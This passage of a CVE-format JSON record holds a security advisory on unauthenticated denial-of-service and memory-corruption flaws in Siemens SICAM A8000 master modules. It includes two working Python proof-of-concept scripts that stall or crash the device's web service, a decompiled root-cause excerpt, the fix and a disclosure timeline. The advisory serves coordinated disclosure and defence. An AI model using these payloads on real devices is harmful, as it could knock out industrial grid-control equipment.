          "value": "CyberDanube Security Research 20260408-1\n-------------------------------------------------------------------------------\n                title| Multiple Vulnerabilities\n              product| Siemens SICAM A8000 CP-8050/CP-8031/CP-8010/CP-8012\n   vulnerable version| \u003c=V25.30\n        fixed version| V26.10\n           CVE number| CVE-2026-27664\n               impact| High\n             homepage| https://siemens.com/\n                found| 18.12.2025\n                   by| S. Dietz\n                     | (Office Vienna)\n                     | CyberDanube Security Research\n                     | Vienna\n                     |\n                     | This research was conducted in cooperation with\n                     | VERBUND Digital Power during a penetration test.\n                     |\n                     | https://www.cyberdanube.com\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\n\"Our purpose: We create technology to transform the everyday, for everyone.\nBy combining the real and the digital worlds, we can help accelerate both\ndigitalization and sustainability - so our customers around the world can\nbecome more competitive, resilient and sustainable.\"\n\nSource: https://www.siemens.com/global/en/company/about.html\n\nVulnerable versions\n-------------------------------------------------------------------------------\nSiemens SICAM A8000 CP-8050 Master Module (6MF2805-0AA00) / \u003c=V25.30\nSiemens SICAM A8000 CP-8031 Master Module (6MF2803-1AA00) / \u003c=V25.30\nSiemens SICAM A8000 CP-8010 Master Module (6MF2801-0AA00) / \u003c=V25.31\nSiemens SICAM A8000 CP-8012 Master Module (6MF2801-2AA00) / \u003c=V25.31\n\nSee also the vendor advisory:\nhttps://cert-portal.siemens.com/productcert/html/ssa-246443.html\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Unauthenticated Denial of Service\nA crafted POST request with a large Content-Length and multipart boundary\nwithout matching body seems to make the parser wait for more data. As long as\nthe connection is open, no other user can interact with the service. IHI00.elf\nand RTUM85.elf are impacted by this.\n\n2) Unauthenticated Memory Corruption (CVE-2026-27664)\nA crafted POST request with a malicious XML body can be send to write null\nbytes to an arbitrary memory address after the buffers location. This may lead\nto a denial of service or remote code execution. This impacts the IHI00.elf as\nwell as the RTUM85.elf binary.\n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Unauthenticated Denial of Service\nThe following python script can be used to temporarily impact the availability\nof the device.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#!/bin/env python3\n# S. Dietz \u003cfitfrost4\u003e\nfrom pwn import *\n\nIP = \"localhost\"\nPORT = 8080\nCOMP = \"ihi\"\npath = b\"\"\n\nif args.IP:\n    IP = args.IP\nif args.PORT:\n    PORT = int(args.PORT)\nif args.COMP:\n    COMP = args.COMP\nif COMP == \"rtum85\":\n    path = b\"/sicweb-ajax/rtum85/pwned\"\nelif COMP == \"ihi\":\n    path = b\"/sicweb-ajax/auth\"\n\nreq = b\"\"\nreq += b\"POST \" + path + b\" HTTP/1.1\\r\\n\"\nreq += b\"Content-Length: \" + str(13371337).encode() + b\"\\r\\n\"\nreq += b\"Content-Type: multipart/form-data; boundary=--pwned\\r\\n\"\nreq += b\"User-Agent: Mozilla/5.0\\r\\n\"\nreq += b\"Accept: */*\\r\\n\"\nreq += b\"Accept-Encoding: gzip, deflate, br\\r\\n\"\nreq += b\"Connection: keep-alive\\r\\n\"\nreq += b\"\\r\\n\"\n\nlog.info(req)\n\nwith remote(IP, PORT) as io:\n    io.send(req)\n    io.recv(1337)\n\n-------------------------------------------------------------------------------\n2) Unauthenticated Memory Corruption (CVE-2026-27664)\nThe following python script can be used to crash the IHI00.elf application on\nthe device. As a watchdog (ISV00.elf) is active, the device reboots.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#!/bin/env python3\n# S. Dietz \u003cfitfrost4\u003e\nfrom pwn import *\n\nIP = \"localhost\"\nPORT = 8080\n\nif args.IP:\n    IP = args.IP\n\nif args.PORT:\n    PORT = int(args.PORT)\n\nbuf = b\u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n\u0027\nbuf += b\"\u003cx\u003e\" * 0xa0000\nbuf += b\"\u003c/x\u003e\"\nbuf += b\"\\r\\n\"\n\nbody = buf\nreq = b\"\"\nreq += b\"POST /sicweb-ajax/auth HTTP/1.1\\r\\n\"\nreq += b\"Content-Length: \" + str(len(body)).encode() + b\"\\r\\n\"\nreq += b\"sec-ch-ua: \\\"Chromium\\\";v=\\\"133\\\", \\\"Not(A:Brand\\\";v=\\\"99\\\"\\r\\n\"\nreq += b\"Content-Type: application/xml\\r\\n\"\nreq += b\"User-Agent: Mozilla/5.0\\r\\n\"\nreq += b\"Accept: */*\\r\\n\"\nreq += b\"Accept-Encoding: gzip, deflate, br\\r\\n\"\nreq += b\"Connection: keep-alive\\r\\n\"\nreq += b\"\\r\\n\"\nreq += body\n\nwith remote(IP, PORT) as io:\n    io.send(req)\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nThe issue arises due to a logic error in the XML parsing. Both binaries use\nlibexpat which export the function XML_SetElementHandler() which takes a\nuser-defined structure as well as two function pointer which are executed when\nan opening or closing tag occurs.  When looking at start() it can be observed\nthat the tag_depth is tracked. If the depth is greater than 15, the return\nvalue gets set to -2 and the tag_depth gets incremented.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n0052b0d4    void start(struct userdata* userData, char const* xmlchar)\n0052b0da        int32_t tag_depth = userData-\u003etag_depth\n0052b0e2        int32_t* entry_r2\n0052b0e2\n0052b0e2        if (tag_depth != 0)\n0052b0e6            if (tag_depth != 1)\n0052b0fa                if (tag_depth u\u003e 0xf)\n0052b0fa                    goto too_big\n[...]\n0052b152    too_big:\n0052b152        userData-\u003eretval = -2\n0052b154        userData-\u003etag_depth = tag_depth + 1\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nWhen a matching closing tag occurs, end() is executed. Due to a missing retval\ncheck, the userData access happens out-of-bounds resulting in an arbitrary\nnull-byte overflow\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n0052a570    void end(struct userdata* userData, char const* xmlchar)\n[...]\n0052a584\n0052a588        int32_t tag_depth = userData-\u003etag_depth\n0052a58c        userData-\u003etag_depth = tag_depth - 1\n0052a58c\n0052a58e        if (tag_depth != 1)\n0052a598            *(userData + ((tag_depth - 2) \u003c\u003c 2) + 4) = 0\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nFurther investigations showed that the bug allows an attacker to write a word\nof null-bytes to arbitrary memory after the buffers location, including the\nstack. Due to the extensive usage of shared libraries, this results in a large\nattack surface.\n-------------------------------------------------------------------------------\n\n\nSolution\n-------------------------------------------------------------------------------\nInstall the latest version available.\n\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network access to the device in the infrastructure.\n\nRecommendation\n-------------------------------------------------------------------------------\nCyberDanube recommends to perform a white-box security assessment of the SICAM\nA8000 master module devices.\n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2026-02-24: Contacting Siemens ProductCERT\n2026-03-04: Siemens ProductCERT confirmed the issue but said the the DoS is a\n            valid behavior for resource conservation.\n2026-03-09: Asking for name and organization for acknowledgement. In addition,\n            gave an estimation regarding the update timeline.\n2026-03-26: Siemens ProductCERT publishes the advisory SSA-246443.\n2026-04-08: Coordinated release of security advisory.\n\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF S. Dietz / @2025\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/7"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/7"
        },
        {
          "url": "https://cert-portal.siemens.com/productcert/html/ssa-246443.html"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://siemens.com/"
        },
        {
          "url": "https://twitter.com/cyberdanube"
        },
        {
          "url": "https://www.cyberdanube.com"
        },
        {
          "url": "https://www.siemens.com/global/en/company/about.html"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/7"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CyberDanube Security Research 20260408-1 | Multiple Vulnerabilities in Siemens SICAM A8000",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-27664",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0256",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/7",
            "automated": true,
            "contentSha256": "76b381a915589c3d3f3552184c204e5c93ccf859a0c160e0d2585c2fc74456e3",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/7",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-14T10:45:01Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0256"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-08T08:13:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0256"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}